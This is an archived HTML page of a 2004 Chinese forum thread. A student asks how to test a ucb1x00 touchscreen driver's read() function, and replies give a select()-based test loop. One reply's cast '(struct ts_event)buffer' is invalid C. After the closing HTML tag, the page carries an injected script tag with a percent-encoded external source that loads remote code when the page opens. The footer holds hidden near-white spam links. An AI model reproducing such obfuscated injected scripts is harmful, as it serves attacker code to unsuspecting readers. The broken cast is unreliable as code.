📄 有触摸屏驱动程序源代码,怎么写一个命令行的程序测试驱动程序?_it贴吧.htm
字号:
<SCRIPT type=text/javascript><!--
google_ad_client = "pub-9414400884285979";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_type = "text_image";
//2007-06-14: bokebb正文左侧_上
google_ad_channel = "7908545811";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "000000";
google_color_text = "000000";
google_color_url = "000000";
//-->
</SCRIPT>
<SCRIPT
src="有触摸屏驱动程序源代码,怎么写一个命令行的程序测试驱动程序?_It贴吧.files/show_ads.js"
type=text/javascript>
</SCRIPT>
<!--画中画广告结束--></TD></TR></TBODY></TABLE><!--NEWSZW_HZH_END--></DIV></TD></TR></TBODY></TABLE><BR>驱动中的read函数如下:<BR>struct
ts_event {<BR>u16 pressure;<BR>u16 x;<BR>u16 y;<BR>u16
pad;<BR>struct timeval stamp;<BR>};<BR>static
ssize_t<BR>ucb1x00_ts_read(struct file *filp, char *buffer, size_t
count, loff_t *ppos)<BR>{<BR>DECLARE_WAITQUEUE(wait,
current);<BR>struct ucb1x00_ts *ts = filp->private_data;<BR>char
*ptr = buffer;<BR>int err =
0;<BR><BR>add_wait_queue(&ts->read_wait, &wait);<BR>while
(count >= sizeof(struct ts_event)) {<BR>err = -ERESTARTSYS;<BR>if
(signal_pending(current))<BR>break;<BR><BR>if
(ucb1x00_ts_evt_pending(ts)) {<BR>struct ts_event *evt =
ucb1x00_ts_evt_get(ts);<BR><BR>printk("ucb1x00_ts: x = %d y = %d
\n", evt->x, evt->y); <BR>err = copy_to_user(ptr, evt,
sizeof(struct ts_event));<BR>ucb1x00_ts_evt_pull(ts);<BR><BR>if
(err)<BR>break;<BR><BR>ptr += sizeof(struct ts_event);<BR>count -=
sizeof(struct
ts_event);<BR>continue;<BR>}<BR><BR>set_current_state(TASK_INTERRUPTIBLE);<BR>err
= -EAGAIN;<BR>if (filp->f_flags &
O_NONBLOCK)<BR>break;<BR>schedule();<BR>}<BR>current->state =
TASK_RUNNING;<BR>remove_wait_queue(&ts->read_wait,
&wait);<BR><BR>return ptr == buffer ? err : ptr -
buffer;<BR>}<BR><BR>设备文件是:/dev/touchscreen/ucb1x00<BR>如果需要更详细的代码可以访问:http://its.letfree.com/ts.txt<BR><BR>大虾快帮帮我,毕业设计快没时间了。3x!!!!</TD></TR>
<TR>
<TD height=10> </TD></TR>
<TR>
<TD class=reply2 height=5> </TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT color=#cccccc>aria(*nix
learner) 于 2004-04-14 18:19:01Z</FONT></TD></TR>
<TR>
<TD
class=reply2><BR>直接打开/dev/touchscreen/ucb1x00获得fd,然后使用select()等到fd可读时就读取一个<BR>struct
ts_event 即可。<BR></TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>skywoo(小椿) 于 2004-04-14
19:19:50Z</FONT></TD></TR>
<TR>
<TD
class=reply2><BR>我看不懂为什么read函数中向用户copy的是一个ts_event指针了?<BR>接受的时候用什么数据类型?</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>jack_wq(风尘往事具忘去,心地无私天地宽) 于 2004-04-15
10:17:50Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>呵呵~~~我不是什么高手,没有看明白楼主的程序!</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>skywoo(小椿) 于 2004-04-15
10:44:40Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>我只想知道struct ts_event 在应用程序中怎么接收?<BR>struct
timeval在那个头文件里才用啊?</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>jack_wq(风尘往事具忘去,心地无私天地宽) 于 2004-04-15
10:51:27Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>struct timeval我想应该在time.h中定义<BR>struct
ts_event的接收:只要当作普通结构体处理就可以了!</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>ericzhangali(卖女孩的小火柴——五毛钱俩一块钱不卖) 于 2004-04-15
12:41:34Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>楼主问的是如何去测试这个驱动程序吗?从已有的回复看好象不是的。<BR></TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>LinHanLao(凌寒) 于 2004-04-15
15:02:48Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>struct
ts_event在你的驱动程序里已经定义了,<BR>如果做你的驱动的应用开发的话,<BR>你在驱动里定义的一些变量就应该导出,<BR>你的应用程序应该包含驱动的头文件<BR></TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>LinHanLao(凌寒) 于 2004-04-15
15:06:24Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>在你的应用程序里,你把读到buffer里的数据强制转换一下<BR>struct
ts_event te;<BR>te = (struct ts_event)buffer;</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT
color=#cccccc>skywoo(小椿) 于 2004-04-21
12:38:24Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>to aria:<BR>请问poll和select在应用程序中怎么用?</TD></TR>
<TR>
<TD height=20></TD></TR>
<TR>
<TD height=5></TD></TR>
<TR>
<TD align=right height=20><FONT color=#cccccc>aria(*nix
learner) 于 2004-04-21 18:57:25Z</FONT></TD></TR>
<TR>
<TD class=reply2><BR>一段测试代码:<BR>struct ts_event evt;<BR>fd_set
rfds;<BR>...<BR>fd = open("/dev/ts", O_RDONLY |
O_NONBLOCK);<BR>...<BR>while (1)
{<BR>FD_ZERO(&rfds);<BR>FD_SET(fd, &rfds);<BR>ret =
select(fd + 1, &rfds, NULL, NULL, NULL);<BR>if (FD_ISSET(fd,
&rfds)) {<BR>read(fd, &evt, sizeof(struct
ts_event));<BR>printf("x=%d, y=%d\n", evt.x,
evt.y);<BR>}<BR>}<BR>其他诸如判断open()/select()等的错误处理man一下就知道怎么处理了。<BR>关于函数怎么使用建议自己man一把吧,要不网上也有一堆的例子...</TD></TR>
<TR>
<TD height=20>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center
border=0>
<TBODY>
<TR>
<TD height=20></TD></TR>
<TR>
<TD align=right colSpan=2><A
href="http://www.54wangguan.com/"><FONT
color=#f9f9f9>.</FONT></A> <A
href="http://www.5iwangguan.com/"><FONT
color=#f9f9f9>.</FONT></A> <A
href="http://www.wangguanba.com/"><FONT
color=#f9f9f9>.</FONT></A> <A
href="http://www.zaiwangba.com/"><FONT
color=#f9f9f9>.</FONT></A> Copyright © 2006-2007
www.bokebb.com
xichy{at}163.com</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -